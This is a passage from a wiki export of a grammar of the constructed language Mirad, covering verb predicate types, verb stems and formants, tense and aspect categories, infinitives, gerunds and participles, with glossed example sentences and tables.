::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
      <sha1>gssykhblrnoxxj33jszjrqwf1xxyozl</sha1>
    </revision>
    <revision>
      <id>4670504</id>
      <parentid>4670503</parentid>
      <timestamp>2026-09-16T19:44:51Z</timestamp>
      <contributor>
        <username>Tyoyafud</username>
        <id>6233</id>
      </contributor>
      <comment>/* Giving Verbs a Nuance of Displeasure with uf- */</comment>
      <origin>4670504</origin>
      <model>wikitext</model>
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      <text bytes="138086" sha1="aalsljveauy35n2ixxakrz97w5n97ev" xml:space="preserve">&lt;noinclude&gt;{{status|100%}}&lt;/noinclude&gt;
== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
::* the past aspect passive voice marker is '''-aw-'''.

The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
